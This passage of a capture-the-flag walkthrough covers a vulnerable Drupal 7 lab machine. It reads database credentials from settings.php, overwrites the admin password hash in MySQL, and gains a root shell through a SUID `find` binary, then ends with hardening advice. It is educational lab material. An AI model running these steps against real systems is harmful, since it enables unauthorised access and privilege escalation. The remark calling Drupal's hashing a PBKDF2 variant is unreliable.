2\n\nTo locate `settings.php` across the filesystem without permission error noise, a search from the root (`/`) directory was executed:\n\n```bash\ncd /\nfind / -iname \"settings.php\" 2>/dev/null\n```\n\n### Identified Configuration Path:\n\n```text\n/var/www/sites/default/settings.php\n```\n\n### Inspecting `settings.php`:\n\nReading the file revealed **Flag 2** along with database connection credentials:\n\n```bash\ncat /var/www/sites/default/settings.php\n```\n\n#### Flag 2 Content:\n\n> **Flag 2:** \"Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?\"\n\n#### Harvested Database Credentials:\n\n```php\n$databases = array (\n  'default' =>\n  array (\n    'default' =>\n    array (\n      'database' => 'drupaldb',\n      'username' => 'dbuser',\n      'password' => 'R0ck3t',\n      'host' => 'localhost',\n      'port' => '',\n      'driver' => 'mysql',\n      'prefix' => '',\n    ),\n  ),\n);\n```\n\n---\n\n## 6. Database Enumeration & Credential Overwrite\n\nLogged into the local MySQL server using the discovered credentials:\n\n```bash\nmysql -u dbuser -pR0ck3t drupaldb\n```\n\n### Enumerating Users Table:\n\n```sql\nSHOW TABLES;\nSELECT uid, name, pass FROM users;\n```\n\n* **Identified Accounts:** `admin` (UID 1) and `Fred`.\n\n### Why `admin` and not `Fred`, and why not crack the hash?\n\nDrupal 7 salts and hashes passwords with its own `$S$`-prefixed format (a variant of PHKDF2 with per-user salts), which makes offline dictionary/brute-force cracking slow and often unproductive within a lab timeframe. `admin` (UID 1) was targeted specifically because in Drupal, UID 1 is the **superuser** account with full administrative privileges over the site \u2014 including the ability to configure PHP-executable content (via modules like PHP filter), which is the fastest route to code execution. `Fred` was enumerated for completeness but had no elevated privileges, so escalating there would have gained nothing extra; overwriting `admin`'s hash directly in the database (since we already have write access via `dbuser`) sidesteps cracking entirely.\n\n### Bypassing Authentication via Hash Overwrite:\n\nInstead of cracking the hash, a custom password hash was generated using Drupal 7's built-in hashing utility script (`password-hash.sh`).\n\n#### Generating New Password Hash:\n\n* **Script Location:** `/var/www/scripts/password-hash.sh`\n* **Execution Note:** The script must be executed from `/var/www` so that relative PHP includes (`includes/password.inc`) resolve correctly.\n\n```bash\ncd /var/www\nphp scripts/password-hash.sh newpassword123\n```\n\n#### Output Hash Generated:\n\n```text\n$S$DvYN7C1RVxklWJVOTHPzd38RI1CKhP.zmPF0k/rBwqBUbDE3ngwN\n```\n\n#### Updating the Admin Password in Database:\n\nRe-entered MySQL and updated the `admin` password hash directly:\n\n```sql\nUPDATE users SET pass ='$S$DvYN7C1RVxklWJVOTHPzd38RI1CKhP.zmPF0k/rBwqBUbDE3ngwN' WHERE name='admin';\n```\n\n---\n\n## 7. CMS Authentication & Flag 3\n\n1. Navigated to `http://192.168.56.102/` in the browser.\n2. Authenticated into the Drupal administrative portal using:\n   * **Username:** `admin`\n   * **Password:** `newpassword123`\n3. Discovered **Flag 3** posted within the administrative dashboard nodes:\n\n> **Flag 3:** \"Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.\"\n\n#### Hint Analysis:\n\nThe terms **\"Special PERMS\"**, **\"FIND\"**, and **\"-exec\"** strongly indicate an exploitation path involving **SUID (Set Owner User ID)** permissions on the `find` binary.\n\n---\n\n## 8. Root Privilege Escalation & Final Flag\n\n### Searching for SUID Binaries\n\nSearched the filesystem for binaries executing with `root` privileges:\n\n```bash\nfind / -perm -u=s -type f 2>/dev/null\n```\n\n#### Command Parameters Explained:\n\n* `/`: Searches starting from the system root directory.\n* `-perm -u=s`: Filters exclusively for files with the SUID bit set.\n* `-type f`: Restricts search to standard files.\n* `2>/dev/null`: Suppresses permission denied error messages.\n\n#### Key SUID Binaries Discovered:\n\n```text\n/usr/bin/find\n/bin/ping\n/bin/su\n/usr/bin/chfn\n```\n\n### Exploiting `find` SUID Permission via GTFOBins\n\nThe `/usr/bin/find` binary had misconfigured SUID permissions, allowing users to execute system commands as `root` via its built-in `-exec` parameter. Because `find` runs with the SUID bit set (owned by root), any command it spawns via `-exec` inherits root's effective UID \u2014 this is exactly the technique catalogued on GTFOBins for privilege escalation.\n\nExecuting shell breakout command:\n\n```bash\nfind . -exec /bin/sh -p \\; -quit\n```\n\n* **Verification:** Checking identity confirmed root access (`whoami` -> `root`).\n\n### Capturing the Final Flag\n\nNavigated to the `/root` directory and retrieved the final flag:\n\n```bash\ncd /root && ls -la\ncat thefinalflag.txt\n```\n\n#### Final Flag Output:\n\n```text\nWell done!!!!\n\nHopefully you've enjoyed this and learned some new skills.\n\nYou can let me know what you thought of this little journey\nby contacting me via Twitter - @DCAU\n```\n\n---\n\n## 9. Remediation & Hardening Recommendations\n\n1. **Patch & Upgrade Legacy CMS Frameworks:**\n   Upgrade legacy Drupal 7 instances to actively supported releases to mitigate critical vulnerability vectors such as Drupageddon (CVE-2014-3704).\n2. **Harden Database & File Permissions:**\n   Ensure configuration files like `settings.php` have strict file read permissions (e.g., `400` or `440`) owned exclusively by necessary web service groups.\n3. **Audit SUID Binaries (Principle of Least Privilege):**\n   Remove unnecessary SUID flags from administrative binaries like `/usr/bin/find`. System utilities should never execute with elevated privileges unless strictly required for core system function.\n4. **Enforce Strong, Unique CMS Passwords:**\n   Even after patching the RCE, weak reused passwords (like the default `admin` credentials in many Drupal installs) remain an easy secondary attack path \u2014 enforce complexity and rotation policies.", "url": "https://gist.github.com/MrMostafaAbdelmonem/42ea24b15c726633e133de4c70bf34e1"}]}